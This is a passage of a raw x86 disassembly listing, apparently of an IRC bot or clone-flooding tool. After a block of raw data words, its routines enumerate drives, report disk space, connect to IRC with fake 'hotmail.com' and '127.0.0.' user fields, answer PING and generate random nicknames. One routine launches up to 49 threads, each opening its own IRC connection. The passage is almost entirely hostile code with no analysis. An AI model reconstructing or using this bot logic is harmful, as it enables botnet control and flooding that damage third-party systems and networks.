0FFFFFAF0h dd 0FA01E850h, 7D83FFFFh, 0F5901C0h, 1AE85h, 56056A00h dd 0FEB8858Dh, 5056FFFFh, 44C8A068h, 15FF5600h, 451460h dd 0FD07539h, 18E85h, 0B8858D00h, 50FFFFFEh, 0FAF0858Dh dd 0A868FFFFh, 500044C8h, 6A77E8h, 858D5600h, 0FFFFFAF0h dd 50D475FFh, 0FD38858Dh, 0FF50FFFFh, 0FFFD34B5h, 0AC57E8FFh dd 858DFFFEh, 0FFFFFAF0h, 0F995E850h, 0C483FFFFh, 145E924h dd 5D890000h, 0FC7589F8h, 51F86DDFh, 0F87D8951h, 0DCFC7589h dd 4394780Dh, 0B8858D00h, 0DDFFFFFEh, 6DDF241Ch, 515150F8h dd 0FAF0858Dh, 0DDCFFFFh, 439478h, 68241CDDh, 44C8E8h dd 6A06E850h, 0C4830000h, 0D075391Ch, 8D562075h, 0FFFAF085h dd 0D475FFFFh, 38858D50h, 50FFFFFDh, 0FD34B5FFh, 0DEE8FFFFh dd 83FFFEABh, 858D14C4h, 0FFFFFAF0h, 0F919E850h, 106AFFFFh dd 56F0458Dh, 6866E850h, 446A0000h, 0FCF0858Dh, 575FFFFFh dd 55E85056h, 83000068h, 0BD891CC4h, 0FFFFFCF0h, 0C7F0458Dh dd 0FFFCFC85h, 4E7540FFh, 66016A00h, 0FD20B589h, 505FFFFFh dd 0FCF0858Dh, 5650FFFFh, 56286A56h, 0B8858D56h, 56FFFFFEh dd 0BD895650h, 0FFFFFD1Ch, 0FB9713E8h, 0C73B60FFh, 15FF1275h dd 45144Ch, 12C6E8h, 15FF5600h, 4F12F8h, 0FEB8858Dh, 6850FFFFh dd 44C964h, 858D0CEBh, 0FFFFFDB8h, 0C9C86850h, 858D0044h dd 0FFFFFAF0h, 6936E850h, 0C4830000h, 0D075390Ch, 8D562075h dd 0FFFAF085h, 0D475FFFFh, 38858D50h, 50FFFFFDh, 0FD34B5FFh dd 0EE8FFFFh, 83FFFEABh, 858D14C4h, 0FFFFFAF0h, 0F849E850h dd 0FF59FFFFh, 15FFE875h, 451524h, 0E8B875FFh, 0FFFF26EBh dd 89E85659h, 0BDFFFB96h, 424448Bh, 4C39C933h, 107E0824h dd 0CC74158Ah, 14300043h, 4C3B4101h, 0F07C0824h ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_416995 proc near ; CODE XREF: seg000:0040545Ep ; seg000:004055BDp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_420150 pop ecx pop ecx xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl mov eax, ecx retn sub_416995 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4169AF proc near ; CODE XREF: seg000:00411108p ; seg000:004112A4p ... var_38 = byte ptr -38h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 38h and [ebp+var_4], 0 push ebx push esi push edi push 32h mov edi, offset dword_4E7544 push 0 push edi call sub_41D100 mov ebx, [ebp+arg_0] add esp, 0Ch lea esi, [ebp+var_38] loc_4169D4: ; CODE XREF: sub_4169AF+5Bj ; sub_4169AF+61j push 0 push 0Ah push [ebp+arg_4] push ebx call sub_420430 push 0 push 0Ah push [ebp+arg_4] add al, 30h mov [esi], al inc esi push ebx call sub_4203C0 mov ebx, eax or eax, edx mov [ebp+arg_4], edx jz short loc_416A12 inc [ebp+var_4] push 3 mov eax, [ebp+var_4] pop ecx cdq idiv ecx test edx, edx jnz short loc_4169D4 mov byte ptr [esi], 2Ch inc esi jmp short loc_4169D4 ; --------------------------------------------------------------------------- loc_416A12: ; CODE XREF: sub_4169AF+4Bj dec esi mov eax, edi loc_416A15: ; CODE XREF: sub_4169AF+73j lea ecx, [ebp+var_38] cmp esi, ecx jb short loc_416A24 mov cl, [esi] mov [eax], cl inc eax dec esi jmp short loc_416A15 ; --------------------------------------------------------------------------- loc_416A24: ; CODE XREF: sub_4169AF+6Bj and byte ptr [eax], 0 mov eax, edi pop edi pop esi pop ebx leave retn sub_4169AF endp ; =============== S U B R O U T I N E ======================================= sub_416A2E proc near ; CODE XREF: sub_416BE3+51p ; sub_416BE3+87p arg_0 = dword ptr 4 push [esp+arg_0] call ds:dword_451550 sub eax, 0 jz short loc_416A71 dec eax jz short loc_416A6B dec eax dec eax jz short loc_416A65 dec eax jz short loc_416A5F dec eax jz short loc_416A59 dec eax jz short loc_416A53 mov eax, offset dword_44CA4C retn ; --------------------------------------------------------------------------- loc_416A53: ; CODE XREF: sub_416A2E+1Dj mov eax, offset off_44CA48 retn ; --------------------------------------------------------------------------- loc_416A59: ; CODE XREF: sub_416A2E+1Aj mov eax, offset aCdrom ; "Cdrom" retn ; --------------------------------------------------------------------------- loc_416A5F: ; CODE XREF: sub_416A2E+17j mov eax, offset aNetwork ; "Network" retn ; --------------------------------------------------------------------------- loc_416A65: ; CODE XREF: sub_416A2E+14j mov eax, offset aDisk ; "Disk" retn ; --------------------------------------------------------------------------- loc_416A6B: ; CODE XREF: sub_416A2E+10j mov eax, offset aInvalid ; "Invalid" retn ; --------------------------------------------------------------------------- loc_416A71: ; CODE XREF: sub_416A2E+Dj mov eax, offset aUnknown ; "Unknown" retn sub_416A2E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416A77 proc near ; CODE XREF: sub_416ABF+12p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h or eax, 0FFFFFFFFh mov [ebp+var_18], eax mov [ebp+var_14], eax mov [ebp+var_10], eax mov [ebp+var_C], eax mov [ebp+var_8], eax mov [ebp+var_4], eax mov eax, ds:dword_4513E8 test eax, eax jz short loc_416AAC lea ecx, [ebp+var_10] push ecx lea ecx, [ebp+var_8] push ecx lea ecx, [ebp+var_18] push ecx push [ebp+arg_4] call eax ; dword_4513E8 loc_416AAC: ; CODE XREF: sub_416A77+22j mov eax, [ebp+arg_0] push esi push edi push 6 pop ecx lea esi, [ebp+var_18] mov edi, eax rep movsd pop edi pop esi leave retn sub_416A77 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416ABF proc near ; CODE XREF: sub_416BE3+17p var_198 = byte ptr -198h var_118 = byte ptr -118h var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 198h push esi push edi push [ebp+arg_4] lea eax, [ebp+var_18] push eax call sub_416A77 pop ecx mov esi, eax pop ecx lea edi, [ebp+var_18] push 6 pop ecx rep movsd mov eax, [ebp+var_18] and eax, [ebp+var_14] cmp eax, 0FFFFFFFFh jz loc_416B99 mov eax, [ebp+var_10] and eax, [ebp+var_C] cmp eax, 0FFFFFFFFh jz loc_416B99 mov eax, [ebp+var_8] and eax, [ebp+var_4] cmp eax, 0FFFFFFFFh jz loc_416B99 mov edi, 400h push 0 push edi push [ebp+var_14] push [ebp+var_18] call sub_4204B0 push edx push eax call sub_4169AF push eax mov esi, 80h push offset aSkb ; "%sKB" lea eax, [ebp+var_198] push esi push eax call sub_41D360 add esp, 18h push 0 push edi push [ebp+var_C] push [ebp+var_10] call sub_4204B0 push edx push eax call sub_4169AF push eax push offset aSkb_0 ; "%sKB" lea eax, [ebp+var_118] push esi push eax call sub_41D360 add esp, 18h push 0 push edi push [ebp+var_4] push [ebp+var_8] call sub_4204B0 push edx push eax call sub_4169AF push eax push offset aSkb_1 ; "%sKB" lea eax, [ebp+var_98] push esi push eax call sub_41D360 jmp short loc_416BCC ; --------------------------------------------------------------------------- loc_416B99: ; CODE XREF: sub_416ABF+2Cj ; sub_416ABF+3Bj ... lea eax, [ebp+var_198] push offset aFailed ; "failed" push eax call sub_41D260 lea eax, [ebp+var_118] push offset aFailed_0 ; "failed" push eax call sub_41D260 lea eax, [ebp+var_98] push offset aFailed_1 ; "failed" push eax call sub_41D260 loc_416BCC: ; CODE XREF: sub_416ABF+D8j mov eax, [ebp+arg_0] add esp, 18h lea esi, [ebp+var_198] mov edi, eax push 60h pop ecx rep movsd pop edi pop esi leave retn sub_416ABF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416BE3 proc near ; CODE XREF: sub_416CB5+17p ; sub_416CB5+60p var_500 = byte ptr -500h var_300 = byte ptr -300h var_180 = byte ptr -180h var_100 = byte ptr -100h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 500h push ebx mov ebx, [ebp+arg_C] push esi push edi lea eax, [ebp+var_300] push ebx push eax call sub_416ABF push 60h mov esi, eax pop ecx lea edi, [ebp+var_300] rep movsd push 60h lea esi, [ebp+var_300] pop ecx lea edi, [ebp+var_180] lea eax, [ebp+var_80] push offset aFailed_2 ; "failed" rep movsd push eax call sub_41D900 add esp, 10h test eax, eax jnz short loc_416C56 push ebx push ebx call sub_416A2E pop ecx push eax push offset dword_44CA88 lea eax, [ebp+var_500] push 200h push eax call sub_41D360 add esp, 14h jmp short loc_416C8A ; --------------------------------------------------------------------------- loc_416C56: ; CODE XREF: sub_416BE3+4Dj lea eax, [ebp+var_180] push eax lea eax, [ebp+var_100] push eax lea eax, [ebp+var_80] push eax push ebx push ebx call sub_416A2E pop ecx push eax push offset dword_44CAF0 lea eax, [ebp+var_500] push 200h push eax call sub_41D360 add esp, 20h loc_416C8A: ; CODE XREF: sub_416BE3+71j push 1 lea eax, [ebp+var_500] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40145D lea eax, [ebp+var_500] push eax call sub_4161A7 add esp, 18h pop edi pop esi pop ebx leave retn sub_416BE3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416CB5 proc near ; CODE XREF: seg000:00407C74p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx xor ebx, ebx cmp [ebp+arg_C], ebx jz short loc_416CD6 push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_416BE3 add esp, 10h jmp short loc_416D37 ; --------------------------------------------------------------------------- loc_416CD6: ; CODE XREF: sub_416CB5+9j push esi push edi push ebx push ebx call ds:dword_45145C lea esi, [eax+2] push esi call sub_41AE40 pop ecx mov edi, eax push edi push esi call ds:dword_45145C cmp [edi], bl mov esi, edi jz short loc_416D2E loc_416CFA: ; CODE XREF: sub_416CB5+77j push offset dword_44CB5C push esi call sub_41D900 pop ecx test eax, eax pop ecx jz short loc_416D1D push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_416BE3 add esp, 10h loc_416D1D: ; CODE XREF: sub_416CB5+54j push esi call sub_41AC70 cmp [esi+eax+1], bl lea esi, [esi+eax+1] pop ecx jnz short loc_416CFA loc_416D2E: ; CODE XREF: sub_416CB5+43j push edi call sub_41B8B0 pop ecx pop edi pop esi loc_416D37: ; CODE XREF: sub_416CB5+1Fj pop ebx pop ebp retn sub_416CB5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416D3A proc near ; CODE XREF: sub_416F00+2Fp var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 push 1 push 2 call ds:dword_451570 mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jz short loc_416DB6 push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41D100 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_4] call ds:dword_4514F4 push [ebp+arg_0] mov [ebp+var_E], ax call ds:dword_451530 cmp eax, esi jnz short loc_416D9B push [ebp+arg_0] call ds:dword_451574 test eax, eax jz short loc_416DB6 mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_416D9B: ; CODE XREF: sub_416D3A+4Bj mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push edi call ds:dword_45149C cmp eax, esi jnz short loc_416DBA push edi call ds:dword_451588 loc_416DB6: ; CODE XREF: sub_416D3A+1Bj ; sub_416D3A+58j mov eax, esi jmp short loc_416DBC ; --------------------------------------------------------------------------- loc_416DBA: ; CODE XREF: sub_416D3A+73j mov eax, edi loc_416DBC: ; CODE XREF: sub_416D3A+7Ej pop edi pop esi leave retn sub_416D3A endp ; --------------------------------------------------------------------------- push esi push edi mov edi, [esp+0Ch] push offset asc_44D7DC ; "\n" push edi call sub_41E560 pop ecx mov esi, offset dword_4E7584 pop ecx loc_416DD8: ; CODE XREF: seg000:00416E02j cmp dword ptr [esi-4], 1 jnz short loc_416DF6 cmp dword ptr [esi], 0 jbe short loc_416DF6 push 0 push edi call sub_41AC70 pop ecx push eax push edi push dword ptr [esi] call ds:dword_451540 loc_416DF6: ; CODE XREF: seg000:00416DDCj ; seg000:00416DE1j add esi, 210h cmp esi, offset dword_4EDCA4 jl short loc_416DD8 pop edi pop esi retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416E07 proc near ; CODE XREF: sub_416F00+152p var_420 = byte ptr -420h var_220 = byte ptr -220h var_20 = dword ptr -20h var_1C = dword ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 420h push ebx push esi push edi push offset asc_44D7E0 ; " " push [ebp+arg_0] call sub_41D6B0 pop ecx mov [ebp+var_20], eax pop ecx lea esi, [ebp+var_1C] push 7 xor ebx, ebx pop edi loc_416E2D: ; CODE XREF: sub_416E07+39j push offset asc_44D7E4 ; " " push ebx call sub_41D6B0 mov [esi], eax pop ecx add esi, 4 dec edi pop ecx jnz short loc_416E2D cmp [ebp+var_20], ebx mov esi, [ebp+var_1C] jnz short loc_416E56 cmp esi, ebx jnz short loc_416E56 push 1 pop eax jmp loc_416EFB ; --------------------------------------------------------------------------- loc_416E56: ; CODE XREF: sub_416E07+41j ; sub_416E07+45j push [ebp+var_20] push offset aPing_2 ; "PING" call sub_41D900 pop ecx pop ecx test eax, eax push esi jnz short loc_416E80 lea eax, [ebp+var_220] push offset aPongS_0 ; "PONG %s\n" push eax call sub_41D260 add esp, 0Ch jmp short loc_416EDA ; --------------------------------------------------------------------------- loc_416E80: ; CODE XREF: sub_416E07+61j push offset a433 ; "433" call sub_41D900 pop ecx test eax, eax pop ecx jz short loc_416EA1 push esi push offset a432 ; "432" call sub_41D900 pop ecx test eax, eax pop ecx jnz short loc_416EF9 loc_416EA1: ; CODE XREF: sub_416E07+87j push 200h lea eax, [ebp+var_420] push ebx push eax call sub_41D100 lea eax, [ebp+var_420] push eax call sub_417120 lea eax, [ebp+var_420] push eax lea eax, [ebp+var_220] push offset aNickS_3 ; "NICK %s\n" push eax call sub_41D260 add esp, 1Ch loc_416EDA: ; CODE XREF: sub_416E07+77j lea eax, [ebp+var_220] push ebx push eax call sub_41AC70 pop ecx push eax lea eax, [ebp+var_220] push eax push [ebp+arg_4] call ds:dword_451540 loc_416EF9: ; CODE XREF: sub_416E07+98j xor eax, eax loc_416EFB: ; CODE XREF: sub_416E07+4Aj pop edi pop esi pop ebx leave retn sub_416E07 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416F00 proc near ; DATA XREF: seg000:00417103o var_4008 = byte ptr -4008h var_3008 = byte ptr -3008h var_2008 = byte ptr -2008h var_1008 = byte ptr -1008h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 4008h call sub_41DEB0 push ebx push esi mov esi, [ebp+arg_0] push edi imul esi, 210h push 1 pop edi lea eax, dword_4E758C[esi] mov ds:dword_4E7580[esi], edi push ds:dword_4E778C[esi] push eax call sub_416D3A pop ecx xor ebx, ebx cmp eax, edi pop ecx mov ds:dword_4E7584[esi], eax jb loc_417082 mov edi, 1000h lea eax, [ebp+var_2008] push edi push ebx push eax call sub_41D100 lea eax, [ebp+var_2008] push eax call sub_417120 lea eax, [ebp+var_4008] push eax call sub_417120 lea eax, [ebp+var_3008] push eax call sub_417120 lea eax, [ebp+var_3008] push eax lea eax, [ebp+var_4008] push eax lea eax, [ebp+var_2008] push eax lea eax, [ebp+var_1008] push offset aNickSUserSHotm ; "NICK %s\nUSER %s \"hotmail.com\" \"127.0.0."... push eax call sub_41D260 add esp, 2Ch lea eax, [ebp+var_1008] push ebx push eax call sub_41AC70 pop ecx push eax lea eax, [ebp+var_1008] push eax push ds:dword_4E7584[esi] call ds:dword_451540 push edi lea eax, [ebp+var_1008] push ebx push eax call sub_41D100 add esp, 0Ch loc_416FD9: ; CODE XREF: sub_416F00+10Ej ; sub_416F00+17Dj push edi lea eax, [ebp+var_1008] push ebx push eax call sub_41D100 add esp, 0Ch lea eax, [ebp+var_1008] push ebx push edi push eax push ds:dword_4E7584[esi] call ds:dword_45150C cmp eax, ebx mov [ebp+var_8], eax jle short loc_417082 xor eax, eax cmp [ebp+var_8], ebx mov [ebp+var_4], eax jz short loc_416FD9 loc_417010: ; CODE XREF: sub_416F00+17Bj mov al, [ebp+eax+var_1008] cmp al, 0Dh jz short loc_417037 cmp al, 0Ah jz short loc_417037 cmp [ebp+arg_0], 0FA0h jz short loc_417037 mov ecx, [ebp+arg_0] inc [ebp+arg_0] mov [ebp+ecx+var_2008], al jmp short loc_417071 ; --------------------------------------------------------------------------- loc_417037: ; CODE XREF: sub_416F00+119j ; sub_416F00+11Dj ... mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_417071 push ds:dword_4E7584[esi] mov [ebp+eax+var_2008], bl lea eax, [ebp+var_2008] push eax call sub_416E07 pop ecx test eax, eax pop ecx ja short loc_417082 push edi lea eax, [ebp+var_2008] push ebx push eax call sub_41D100 add esp, 0Ch mov [ebp+arg_0], ebx loc_417071: ; CODE XREF: sub_416F00+135j ; sub_416F00+13Cj mov eax, [ebp+var_4] inc eax cmp eax, [ebp+var_8] mov [ebp+var_4], eax jnz short loc_417010 jmp loc_416FD9 ; --------------------------------------------------------------------------- loc_417082: ; CODE XREF: sub_416F00+40j ; sub_416F00+104j ... mov ds:dword_4E7580[esi], ebx mov esi, ds:dword_4E7584[esi] cmp esi, ebx jbe short loc_417099 push esi call ds:dword_451588 loc_417099: ; CODE XREF: sub_416F00+190j pop edi pop esi xor eax, eax pop ebx leave retn 4 sub_416F00 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp [ebp+10h], ebx push esi push edi mov [ebp-4], ebx jle short loc_41711B loc_4170B4: ; CODE XREF: seg000:00417119j xor edi, edi mov eax, offset dword_4E7580 loc_4170BB: ; CODE XREF: seg000:004170CAj cmp [eax], ebx jz short loc_4170CC add eax, 210h inc edi cmp eax, offset dword_4EDCA0 jl short loc_4170BB loc_4170CC: ; CODE XREF: seg000:004170BDj cmp edi, 31h jz short loc_41711B mov esi, edi push dword ptr [ebp+8] imul esi, 210h lea eax, dword_4E758C[esi] push eax call sub_41E550 mov eax, [ebp+0Ch] pop ecx mov ds:dword_4E778C[esi], eax pop ecx lea eax, [ebp-8] mov ds:dword_4E7580[esi], 1 push eax push ebx push edi push offset sub_416F00 push ebx push ebx call ds:dword_4F131C ; CreateThread inc dword ptr [ebp-4] mov eax, [ebp-4] cmp eax, [ebp+10h] jl short loc_4170B4 loc_41711B: ; CODE XREF: seg000:004170B2j ; seg000:004170CFj pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417120 proc near ; CODE XREF: sub_416E07+B3p ; sub_416F00+60p ... var_40 = byte ptr -40h var_2D = byte ptr -2Dh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_18 = qword ptr -18h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 40h push 14h lea eax, [ebp+var_2C] push 0 push eax call sub_41D100 add esp, 0Ch call sub_41DBA0 mov [ebp+var_C], eax fild [ebp+var_C] fmul ds:dbl_4394C0 call sub_41F33C cmp eax, 1 jnz short loc_41716A call sub_41DBA0 call sub_41DBA0 push 66h cdq pop ecx idiv ecx push ds:off_44CE60[edx*4] jmp short loc_417183 ; --------------------------------------------------------------------------- loc_41716A: ; CODE XREF: sub_417120+2Fj call sub_41DBA0 call sub_41DBA0 cdq mov ecx, 0C0h idiv ecx push ds:off_44CB60[edx*4] loc_417183: ; CODE XREF: sub_417120+48j lea eax, [ebp+var_2C] push eax call sub_41E550 pop ecx lea eax, [ebp+var_2C] pop ecx push ebx push esi push edi push eax call sub_41AC70 pop ecx mov esi, eax push 13h mov [ebp+var_4], esi pop eax sub eax, esi mov [ebp+var_C], eax call sub_41DBA0 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul ds:dbl_4394B8 call sub_41F33C mov ebx, eax call sub_41DBA0 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fimul [ebp+var_4] fmul ds:dbl_4394B0 call sub_41F33C cmp esi, 2 mov edi, offset a__1 ; "-|`_\\{[]}" jle short loc_4171F6 cmp esi, 3 jnz short loc_4171ED cmp ebx, 1 jz short loc_4171F6 loc_4171ED: ; CODE XREF: sub_417120+C6j cmp eax, 1 jnz loc_4172B0 loc_4171F6: ; CODE XREF: sub_417120+C1j ; sub_417120+CBj call sub_41DBA0 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul ds:dbl_4394A8 call sub_41F33C push ds:off_44CE60[eax*4] lea eax, [ebp+var_40] push eax call sub_41E550 movsx eax, [ebp+esi+var_2D] lea ebx, [ebp+esi+var_2C] push eax push edi call sub_41E650 add esp, 10h test eax, eax jnz short loc_41729D movsx eax, [ebp+var_40] push eax push edi call sub_41E650 pop ecx test eax, eax pop ecx jnz short loc_41729D call sub_41DBA0 mov dword ptr [ebp+var_18+4], eax dec esi fild dword ptr [ebp+var_18+4] mov dword ptr [ebp+var_18+4], esi fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul ds:dbl_4394B0 call sub_41F33C cmp eax, 1 jnz short loc_41729D push edi call sub_41AC70 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-8] call sub_41DBA0 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-8] fmul ds:dbl_4394B0 call sub_41F33C mov al, byte ptr ds:a__1[eax] ; "-|`_\\{[]}" mov [ebx], al loc_41729D: ; CODE XREF: sub_417120+111j ; sub_417120+122j ... push [ebp+var_C] lea eax, [ebp+var_40] push eax lea eax, [ebp+var_2C] push eax call sub_41E710 add esp, 0Ch loc_4172B0: ; CODE XREF: sub_417120+D0j lea eax, [ebp+var_2C] push eax call sub_41AC70 mov esi, eax movsx eax, [ebp+esi+var_2D] lea ebx, [ebp+esi+var_2C] push eax mov [ebp+var_4], esi call sub_420630 pop ecx test eax, eax pop ecx jnz loc_417518 and [ebp+var_C], eax movsx eax, byte ptr [ebx-1] push eax push edi call sub_41E650 pop ecx test eax, eax pop ecx jnz loc_41740F call sub_41DBA0 mov dword ptr [ebp+var_18+4], eax lea eax, [esi+3] fild dword ptr [ebp+var_18+4] mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul ds:dbl_4394B0 call sub_41F33C cmp esi, 3 jz short loc_41731E cmp eax, 1 jnz loc_41740F loc_41731E: ; CODE XREF: sub_417120+1F3j push 2 cdq pop ecx idiv ecx cmp edx, 1 jnz short loc_417360 push edi call sub_41AC70 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-10h] call sub_41DBA0 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-10h] fmul ds:dbl_4394B0 call sub_41F33C mov al, byte ptr ds:a__1[eax] ; "-|`_\\{[]}" mov [ebx], al jmp short loc_41737C ; --------------------------------------------------------------------------- loc_417360: ; CODE XREF: sub_417120+207j call sub_41DBA0 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul ds:dbl_4394A0 call sub_41F33C mov cl, 41h sub cl, al mov [ebx], cl loc_41737C: ; CODE XREF: sub_417120+23Ej push 1 inc esi pop ebx mov [ebp+var_4], esi mov [ebp+var_C], ebx call sub_41DBA0 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul ds:dbl_439498 call sub_41F33C cmp esi, 3 jz short loc_4173A5 cmp eax, ebx jnz short loc_41740F loc_4173A5: ; CODE XREF: sub_417120+27Fj push 2 pop ebx cdq mov ecx, ebx idiv ecx test edx, edx jnz short loc_4173EA push edi call sub_41AC70 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-10h] call sub_41DBA0 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-10h] fmul ds:dbl_4394B0 call sub_41F33C mov al, byte ptr ds:a__1[eax] ; "-|`_\\{[]}" mov [ebp+esi+var_2C], al jmp short loc_417408 ; --------------------------------------------------------------------------- loc_4173EA: ; CODE XREF: sub_417120+28Fj call sub_41DBA0 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul ds:dbl_4394A0 call sub_41F33C mov cl, 41h sub cl, al mov [ebp+esi+var_2C], cl loc_417408: ; CODE XREF: sub_417120+2C8j inc esi mov [ebp+var_C], ebx mov [ebp+var_4], esi loc_41740F: ; CODE XREF: sub_417120+1C9j ; sub_417120+1F8j ... cmp esi, 6 jge loc_417498 cmp esi, 5 jge short loc_417430 call sub_41DBA0 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul ds:dbl_4394B8 jmp short loc_41744E ; --------------------------------------------------------------------------- loc_417430: ; CODE XREF: sub_417120+2FBj call sub_41DBA0 push 8 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] pop eax sub eax, esi mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul ds:dbl_4394B0 loc_41744E: ; CODE XREF: sub_417120+30Ej call sub_41F33C test eax, eax jnz short loc_417471 call sub_41DBA0 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul ds:dbl_439490 call sub_41F33C mov cl, 30h jmp short loc_41748E ; --------------------------------------------------------------------------- loc_417471: ; CODE XREF: sub_417120+335j cmp eax, 1 jnz short loc_417498 call sub_41DBA0 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul ds:dbl_4394A0 call sub_41F33C mov cl, 41h loc_41748E: ; CODE XREF: sub_417120+34Fj sub cl, al mov [ebp+esi+var_2C], cl inc esi mov [ebp+var_4], esi loc_417498: ; CODE XREF: sub_417120+2F2j ; sub_417120+354j cmp [ebp+var_C], 2 jge short loc_417518 call sub_41DBA0 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fimul [ebp+var_4] fmul ds:dbl_4394B0 call sub_41F33C cmp eax, 1 jnz short loc_417518 call sub_41DBA0 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul ds:dbl_439490 call sub_41F33C mov cl, 30h sub cl, al mov [ebp+esi+var_2C], cl call sub_41DBA0 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul ds:dbl_439488 call sub_41F33C cmp eax, 1 jnz short loc_417518 cmp [ebp+var_C], eax jge short loc_417518 call sub_41DBA0 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul ds:dbl_439480 call sub_41F33C mov cl, 30h sub cl, al mov [ebp+esi+var_2B], cl loc_417518: ; CODE XREF: sub_417120+1B1j ; sub_417120+37Cj ... lea eax, [ebp+var_2C] push 14h push eax push [ebp+arg_0] call sub_41D800 mov eax, [ebp+arg_0] add esp, 0Ch pop edi pop esi pop ebx leave retn sub_417120 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417531 proc near ; CODE XREF: sub_417569+125p ; sub_417569+14Cp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] xor esi, esi sub edi, [ebp+arg_C] test edi, edi jle short loc_41755F loc_417542: ; CODE XREF: sub_417531+2Cj push [ebp+arg_C] mov eax, [ebp+arg_0] add eax, esi push [ebp+arg_8] push eax call sub_41EC40 add esp, 0Ch test eax, eax jz short loc_417565 inc esi cmp esi, edi jl short loc_417542 loc_41755F: ; CODE XREF: sub_417531+Fj xor al, al loc_417561: ; CODE XREF: sub_417531+36j pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_417565: ; CODE XREF: sub_417531+27j mov al, 1 jmp short loc_417561 sub_417531 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417569 proc near ; CODE XREF: seg000:0040AD9Cp ; seg000:0040AE85p ... var_2010 = byte ptr -2010h var_200E = byte ptr -200Eh var_10 = word ptr -10h 